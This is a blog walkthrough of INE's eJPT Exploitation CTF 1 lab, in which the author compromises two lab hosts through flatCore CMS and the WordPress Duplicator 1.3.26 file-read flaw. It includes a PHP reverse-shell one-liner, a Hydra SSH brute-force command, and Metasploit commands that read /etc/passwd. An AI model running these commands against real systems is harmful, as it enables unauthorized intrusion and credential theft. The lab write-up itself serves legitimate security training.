Hello everyone!

In this blog, I’ll walk through Exploitation CTF 1 from INE’s eJPT path. Two Linux targets running different web applications — flatCore CMS and WordPress — each with their own vulnerable plugin or exploit path. The flags are formatted as MD5 hashes, and the lab gives us a head start with one set of credentials.

So, let’s dive in.

Q. Identify and exploit the vulnerable web application running on target1.ine.local and retrieve the flag from the root directory. The credentials admin:password1 may be useful.

As usual, I started with an Nmap scan:

nmap -sV -O target1.ine.local

Port 80 and 22 were open. I checked out the website running on port 80 and found a login page in what looked like German — turned out to be flatCore CMS.

I tried the credentials given in the question — admin:password1 — and they worked.

I checked robots.txt and found /acp/ listed under Disallow. Navigated there directly.

It was the CMS admin login page. I tried the same credentials there too, and got into the admin panel.

With confirmed access to flatCore CMS, I searched for known exploits:

searchsploit flatcore cms

Found an authenticated exploit — and since we already have valid admin credentials, that requirement was already satisfied. I set it up and ran it with Python 3.

A shell popped, and the first flag was sitting right there.

Q. Further, identify and compromise an insecure system user on target1.ine.local.

Still in that shell, I wanted to bring it into Metasploit for easier post-exploitation. I started a multi/handler listener, then triggered a reverse shell back to it using a PHP one-liner generated from revshells.com:

php -r '$sock=fsockopen("<your-ip>",<port>);exec("sh <&3 >&3 2>&3");'

Once the shell connected, I upgraded it to a full Meterpreter session:

sessions -u <id>

Inside the Meterpreter session, I found a user called iamaweakuser with a home directory — but no permission to read into it. The username itself was a strong hint, so I brute-forced SSH against that account:

hydra -l iamaweakuser -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target1.ine.local ssh

Hydra found the password. Logging in over SSH with those credentials gave me Flag 2.

Q. Identify and exploit the vulnerable plugin used by the web application running on target2.ine.local and retrieve the flag3.txt file from the root directory.

Moved to the second target with a fresh Nmap scan, this time including default scripts:

nmap -sV -sC target2.ine.local

Port 22 and 80 were open, with port 80 running WordPress. Since the question specifically asked about a vulnerable plugin, I enumerated installed plugins:

nmap -sV -p 80 target2.ine.local --script=http-wordpress-enum

Two plugins came back — akismet 5.0.1 and duplicator 1.3.26. I searched both for known vulnerabilities and found that Duplicator 1.3.26 is affected by an unauthenticated arbitrary file download / directory traversal vulnerability — and Metasploit already had a module for it.

I loaded it up and set the filepath to grab the flag directly:

use auxiliary/scanner/http/wp_duplicator_file_read
set rhosts target2.ine.local
set filepath /flag3.txt
run

The file came back with Flag 3 inside it — no authentication required at any point.

Q. Further, identify and compromise a system user requiring no authentication on target2.ine.local.

Using the same module, I changed the target file to pull system user information instead:

set filepath /etc/passwd
run

Scrolling through the output, one account stood out from the standard system accounts — iamacrazyfreeuser, with a real home directory and shell access. The username was the giveaway. I tried SSH with no password at all:

ssh [email protected]

No authentication required — straight in, and Flag 4 was waiting.

Final Thoughts

This CTF was a solid mix of web app exploitation and credential-based attacks across two different CMS platforms.

The Duplicator plugin vulnerability stood out the most — an unauthenticated arbitrary file read is a serious finding on its own, and here it directly handed over both the flag and the /etc/passwd file needed for the next step, no exploitation chain required. On the flatCore side, the lesson was simpler but just as common in real engagements: weak or default credentials, once again, were the way in.

Thanks for reading!